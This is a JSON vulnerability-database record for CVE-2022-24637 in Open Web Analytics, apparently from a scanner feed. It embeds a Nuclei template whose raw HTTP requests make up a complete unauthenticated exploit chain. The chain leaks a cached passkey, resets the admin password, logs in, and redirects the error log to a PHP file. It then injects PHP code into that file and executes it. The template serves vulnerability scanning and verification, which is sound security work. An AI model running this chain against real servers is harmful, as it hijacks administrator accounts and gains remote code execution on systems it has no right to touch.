{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-24637/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-24637/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-24637/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-24637/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-24637/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-24637"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-24637"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2022/CVE-2022-24637.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2022-24637\n\ninfo:\n  name: Open Web Analytics 1.7.3 - Remote Code Execution\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: critical\n  description: |\n    Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated remote attacker to obtain sensitive user information, which can be used to gain admin privileges by leveraging cache hashes. This occurs because files generated with '<?php (instead of the intended \"<?php sequence) aren't handled by the PHP interpreter.\n  impact: |\n    Unauthenticated attackers can exploit improperly handled PHP files to obtain cache hashes containing sensitive user information, then leverage these to reset the admin password and upload malicious files for remote code execution, compromising the entire analytics platform.\n  remediation: |\n    Upgrade to Open Web Analytics version 1.7.4 or later that properly handles PHP file generation and validates authentication for sensitive operations.\n  reference:\n    - https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/open_web_analytics_rce.rb\n    - http://packetstormsecurity.com/files/171389/Open-Web-Analytics-1.7.3-Remote-Code-Execution.html\n    - https://github.com/Open-Web-Analytics/Open-Web-Analytics/releases/tag/1.7.4\n    - https://github.com/Pflegusch/CVE-2022-24637\n    - https://github.com/c0derpwner/HTB-pwned\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-24637\n    cwe-id: CWE-269\n    epss-score: 0.99055\n    epss-percentile: 0.99931\n    cpe: cpe:2.3:a:openwebanalytics:open_web_analytics:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 6\n    vendor: openwebanalytics\n    product: open_web_analytics\n    shodan-query: cpe:\"cpe:2.3:a:openwebanalytics:open_web_analytics\"\n  tags: cve,cve2022,packetstorm,rce,intrusive,open-web-analytics,vuln,vkev\n\nvariables:\n  password: \"{{randbase(8)}}@123!\"\n  secret: \"{{randstr}}\"\n  secret_b64: \"{{base64(secret)}}\"\n\nflow: |\n  http(1);\n  http(2);\n  javascript();\n  http(3);\n  http(4); http(5); http(6); http(7);\n\njavascript:\n  - code: |\n          idx=serobj.indexOf('temp_passkey');\n          passubstr=serobj.substring(idx,idx+120);\n          temp_pass=(passubstr.match(/s:32:\"([a-f0-9]{32})\"/)[1])\n          temp_pass\n\n    args:\n      serobj: \"{{base64_decode(serializedobj)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /index.php?owa_do=base.loginForm&owa_site_id=& HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        owa_user_id=admin&owa_password=wrong+password+xyz&owa_go=&owa_action=base.login&owa_submit_btn=Login\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Login Failed\"\n        internal: true\n\n  - raw:\n      - |\n        GET /owa-data/caches/1/owa_user/c30da9265ba0a4704db9229f864c9eb7.php HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        name: serializedobj\n        internal: true\n        regex:\n          - '<\\?php\\\\n\\/\\*([A-Za-z0-9=]+)\\*\\/\\\\n\\?>'\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - <?php\\n\n        internal: true\n\n  - raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        owa_password={{password}}&owa_password2={{password}}&owa_k={{javascript_response}}&owa_action=base.usersChangePassword&owa_submit_btn=Save+Your+New+Password\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(location,'owa_status_code=3006')\"\n          - \"status_code==302\"\n        internal: true\n        condition: and\n\n  - raw:\n      - |\n        POST /index.php?owa_do=base.loginForm&owa_site_id=& HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        owa_user_id=admin&owa_password={{password}}&owa_go=&owa_action=base.login&owa_submit_btn=Login\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(set_cookie,'owa_p')\"\n          - \"status_code==302\"\n        internal: true\n        condition: and\n\n  - raw:\n      - |\n        GET /index.php?owa_do=base.optionsGeneral HTTP/1.1\n        Cookie: owa_p={{http_4_owa_p}};owa_u=admin;\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        name: nonce\n        internal: true\n        regex:\n          - 'name=\"owa_nonce\" value=\"([a-z0-9]+)\">'\n\n  - raw:\n      - |\n        POST /index.php?owa_do=base.optionsGeneral HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: owa_p={{http_4_owa_p}};owa_u=admin;\n        Content-Type: application/x-www-form-urlencoded\n\n        owa_action=base.optionsUpdate&owa_nonce={{nonce}}&owa_config[base.error_log_file]=owa-data/caches/{{randstr}}.php&owa_config[base.error_log_level]=2\n\n  - raw:\n      - |\n        POST /index.php?owa_do=base.optionsGeneral HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: owa_p={{http_4_owa_p}};owa_u=admin;\n        Content-Type: application/x-www-form-urlencoded\n\n        owa_action=base.optionsUpdate&owa_nonce={{nonce}}&owa_config[shell]=<?php+echo base64_decode('{{secret_b64}}');?>\n\n      - |\n        GET /owa-data/caches/{{randstr}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '[debug_log]'\n          - \"{{secret}}\"\n        condition: and\n# digest: 490a00463044022006bb8540f9f0588135280b5af0b2837c78f19ca2d1ebb902a5156f6a247ad23002205327e01cbd2b4f972ba4cb771428cf06577a16d1a3e99cdc3fa4a10d3ca9b21f:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2022-24637"
}